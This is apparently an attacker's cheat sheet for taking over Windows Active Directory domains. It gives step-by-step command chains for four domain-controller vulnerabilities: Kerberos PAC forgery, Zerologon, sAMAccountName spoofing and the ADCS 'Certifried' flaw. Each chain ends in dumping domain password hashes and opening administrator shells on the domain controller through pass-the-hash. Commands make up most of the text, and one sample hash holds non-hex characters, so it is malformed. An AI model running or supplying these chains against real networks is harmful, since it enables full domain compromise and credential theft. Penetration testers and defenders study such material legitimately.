Kerberos PAC Validation Bypass (CVE-2014-6324)

This vulnerability exploits improper validation of the Privilege Attribute Certificate (PAC) during Kerberos ticket-granting requests. Successful execution requires valid credentials for a standard domain account combined with local administrative privileges on any domain-joined workstation. The attack forges a Ticket Granting Ticket (TGT) with elevated PAC claims, which domain controllers accept due to signature verification gaps.

# Define target environment parameters
DOMAIN_USER="svc_account"
DOMAIN_NAME="corp.internal"
DOMAIN_CONTROLLER="DC01.corp.internal"
TARGET_SID="S-1-5-21-839201736-491028374-2910384756-512"

# Validate current session context and domain configuration
whoami /user && net time /domain && net config workstation

# Forge privileged TGT ticket with injected PAC data
./ms14-068.exe -u "${DOMAIN_USER}@${DOMAIN_NAME}" -p "TempP@ss99" -s "${TARGET_SID}" -d "${DOMAIN_CONTROLLER}"

# Verify administrative file system access on the domain controller
dir "\\${DOMAIN_CONTROLLER}\C$"

# Establish interactive remote session via PsExec
psexec "\\${DOMAIN_CONTROLLER}" cmd.exe

NetLogon Cryptographic Authentication Flaw (CVE-2020-1472)

A cryptographic bypass in the NetLogon Remote Protocol allows authentication spoofing with zero knowledge of credentials. This flaw impacts Windows Server 2008 R2 through 2019. Exploitation requires only the target DC's NetBIOS name and IP address, operating independent of the attacker's OS or domain membership. The exploit chain resets the DC machine account password to a null value, enabling immediate credential extraction.

# Resolve NetBIOS hostname from target IP
nbtscan -v -h 10.10.50.25

# Validate NetLogon vulnerability status
python3 check_zerologon.py --target-host DC-HOSTNAME --target-ip 10.10.50.25

# Force machine account password reset to null
python3 exploit_zerologon.py --target-name DC-HOSTNAME --target-ip 10.10.50.25

# Extract domain secrets using established null authentication
python3 dump_hashes.py "internal.net/DC-HOSTNAME\$@10.10.50.25" --no-pass --output-file dc_hashes.txt

# Execute remote management using retrieved NTLM hash
python3 remote_shell.py "internal.net/administrator@10.10.50.25" --hashes "aad3b435b51404eeaad3b435b51404ee:e8a352f9c11b4d8a72e9f01234567890"

sAMAccountName Spoofing Mechanism (CVE-2021-42287)

This technique leverages a validation gap in how domain controllers handle machine account names during ticket requests. An attacker with standard domain credentials can rename a newly created computer object to match a domain controller's identity, request a service ticket without a PAC, and subsequently manipulate the ticket structure to impersonate elevated accounts.

# Clone and prepare the automation framework
git clone https://github.com/WazeHell/sam-the-admin.git
cd sam-the-admin

# Execute automated spoofing chain against target domain controller
python3 sam_the_admin.py "internal.net/standard_user:UserPass456" --dc-ip 10.10.50.25 --shell

ADCS Certificate Trust Exploitation (CVE-2022-26923)

Commonly referred to as Certifried, this vulnerability resides in Active Directory Certificate Services (ADCS). A low-privilege domain user can request a machine certificate for a newly provisioned computer account. By modifying the dNSHostName attribute to match a domain controller, the issued certificate inherits domain controller privileges, enabling Kerberos authentication as a privileged entity.

# Map local DNS resolution to target domain components
echo -e "10.10.50.30 targetdomain.local\n10.10.50.30 targetdomain-WIN-ABC123-CA\n10.10.50.30 DC-PRIMARY.targetdomain.local" | sudo tee -a /etc/hosts

# Identify Certificate Authority configuration and connectivity
certutil -config - -ping

# Request initial user certificate template
certipy req -u targetdomain.local/standard_user -p 'UserPass456' -ca 'targetdomain-WIN-ABC123-CA' -target DC-PRIMARY.targetdomain.local -template User -debug

# Validate user certificate issuance
certipy auth -pfx user_cert.pfx

# Provision new computer object in Active Directory
python3 bloodyAD.py -d targetdomain.local -u standard_user -p 'UserPass456' --host 10.10.50.30 addComputer spoofed_workstation 'ComplexPass789!'

# Modify DNS hostname attribute to match target DC
python3 bloodyAD.py -d targetdomain.local -u standard_user -p 'UserPass456' --host 10.10.50.30 setAttribute "CN=spoofed_workstation,CN=Computers,DC=targetdomain,DC=local" dNSHostName '["DC-PRIMARY.targetdomain.local"]'

# Request machine certificate with elevated privileges
certipy req -u targetdomain.local/spoofed_workstation$ -p 'ComplexPass789!' -ca 'targetdomain-WIN-ABC123-CA' -target 10.10.50.30 -template Machine -dc-ip 10.10.50.30

# Authenticate using forged machine certificate
certipy auth -pfx ./spoofed_dc.pfx -dc-ip 10.10.50.30

# Dump domain hashes with extracted credentials
python3 dump_hashes.py "targetdomain.local/DC-PRIMARY$@10.10.50.30" -hashes ":a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6"

# Obtain administrative shell via WMI
python3 remote_shell.py "targetdomain.local/administrator@10.10.50.30" -hashes "aad3b435b51404eeaad3b435b51404ee:f9e8d7c6b5a432109876543210987654"